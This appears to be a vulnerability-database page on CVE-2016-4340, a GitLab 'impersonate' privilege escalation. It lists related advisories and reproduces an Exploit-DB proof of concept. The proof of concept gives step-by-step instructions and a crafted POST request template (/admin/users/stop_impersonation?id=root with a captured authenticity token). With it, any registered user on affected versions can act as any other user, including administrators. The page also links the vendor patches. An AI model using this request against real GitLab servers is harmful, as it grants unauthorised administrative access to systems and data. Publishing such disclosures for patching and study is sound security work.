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GitLab - 'impersonate' Feature Privilege Escalation
| Reporter | Title | Published | Views | Family All 16 |
|---|---|---|---|---|
 | gitlab -- privilege escalation via "impersonate" feature | 2 May 201600:00 | – | freebsd |
 | GitLab Impersonate Feature Elevation of Privilege Vulnerability | 8 Sep 201600:00 | – | cnvd |
 | CVE-2016-4340 | 23 Jan 201721:00 | – | cve |
 | CVE-2016-4340 | 23 Jan 201721:00 | – | cvelist |
 | CVE-2016-4340 | 23 Jan 201721:00 | – | debiancve |
 | GitLab - 'impersonate' Feature Privilege Escalation | 15 Aug 201600:00 | – | exploitdb |
 | EUVD-2016-5340 | 7 Oct 202500:30 | – | euvd |
 | GitLab - impersonate Feature Privilege Escalation | 15 Aug 201600:00 | – | exploitpack |
 | FreeBSD : gitlab -- privilege escalation via 'impersonate' feature (be72e773-1131-11e6-94fa-002590263bf5) | 4 May 201600:00 | – | nessus |
| Linux Distros Unpatched Vulnerability : CVE-2016-4340 | 25 Aug 202500:00 | – | nessus |
10
# Exploit Title: GitLab privilege escalation via "impersonate" feature
# Date: 02-05-2016
# Software Link: https://about.gitlab.com/
# Version: 8.2.0 - 8.2.4, 8.3.0 - 8.3.8, 8.4.0 - 8.4.9, 8.5.0 - 8.5.11, 8.6.0 - 8.6.7, 8.7.0
# Exploit Author: Kaimi
# Website: https://kaimi.ru
# CVE: CVE-2016-4340
# Category: webapps
1. Description
Any registered user can "log in" as any other user, including administrators.
https://about.gitlab.com/2016/05/02/cve-2016-4340-patches/
2. Proof of Concept
Login as regular user.
Get current authenticity token by observing any POST-request (ex.: change any info in user profile).
Craft request using this as template:
POST /admin/users/stop_impersonation?id=root
. . .
_method=delete&authenticity_token=lqyOBt5U%2F0%2BPM2i%2BGDx3zaVjGgAqHzoteQ15FnrQ3E8%3D
Where 'root' - desired user. 'authenticity_token' - token obtained on the previous step.
3. Solution:
Use officialy provided solutions:
https://about.gitlab.com/2016/05/02/cve-2016-4340-patches/
# 0day.today [2018-01-04] #Data
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15 Aug 2016 00:00Current
0.3Low risk
Vulners AI Score0.3
EPSS0.02474